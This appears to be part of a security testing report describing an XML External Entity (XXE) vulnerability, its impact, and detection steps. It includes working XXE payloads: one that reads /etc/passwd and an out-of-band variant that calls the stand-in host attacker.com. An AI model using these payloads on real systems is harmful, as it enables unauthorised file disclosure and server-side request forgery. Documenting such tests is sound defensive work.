4. FUNCTIONAL & PERFORMANCE TESTING :

4.1 Vulerability Report :

S.No	Vulnerability Name	CWE-No.
1.	Insecure File Upload	CWE-434
2.	Cross-Site Request Forgery (CSRF)	CWE-352
3.	Cross-Site Scripting (XSS)	CWE-79

Vulnerability Name: XML External Entity (XXE)
CWE No: CWE-611
OWASP/SANS Category: Top 10

Description:

XML External Entity (XXE) is a critical security vulnerability that occurs when an application processes XML input containing external entity references without proper validation. By exploiting XXE, attackers can force the XML parser to process external entities that lead to a range of malicious actions such as reading sensitive local files, executing Server-Side Request Forgery (SSRF) attacks, and launching Denial of Service (DoS) attacks. This vulnerability arises from insecurely configured XML parsers that fail to disable external entity processing.

XML allows the definition of custom entities using the `<!ENTITY>` declaration. Attackers can manipulate XML data to inject malicious entities that force the server to read files from the system (e.g., `/etc/passwd` or `C:\windows\win.ini`) or send unauthorized HTTP requests to internal services. The impact of XXE can be severe, leading to data exposure, service disruptions, and security breaches within an application or the infrastructure.

Business Impact:

Local File Disclosure: Attackers can exploit XXE to access sensitive files on the server, including:

User credentials (e.g., `/etc/passwd`, `C:\windows\win.ini`)

Database configuration files (containing usernames and passwords)

API keys and cryptographic secrets

SSRF (Server-Side Request Forgery): Attackers can bypass firewalls and make unauthorized requests to internal systems, including:

Internal APIs

Cloud metadata services

On-premise databases or administrative interfaces

Denial of Service (DoS) Attacks: XXE vulnerabilities can be leveraged to execute **Billion Laughs attacks**, overloading XML parsers and causing:

Application crashes

Service disruptions

Loss of availability for customers

Data Tampering: Attackers can alter XML-based structures to:

Modify financial transactions

Change user authentication mechanisms

Escalate privileges or alter permissions

Steps for Real-Time Detection & Incident Response: Identification of natures :

Identify areas of the application where XML input is processed, such as SOAP-based or RESTful APIs that accept XML payloads.

```
POST /api/user HTTP/1.1

Content-Type:

application/xml<user>

<id>123</id>

   <name>John Doe</name>

</user>
```

Injecting Basic XXE Payloads:

```
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [

  <!ENTITY xxe SYSTEM "file:///etc/passwd">

]>

<user>
```

```
  <name>&xxe;</name>
</user>
```

Testing for Blind XXE via Out-of-Band (OOB) Attacks:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "http://attacker.com/malicious">
]>
<user>
   <name>&xxe;</name>
</user>
```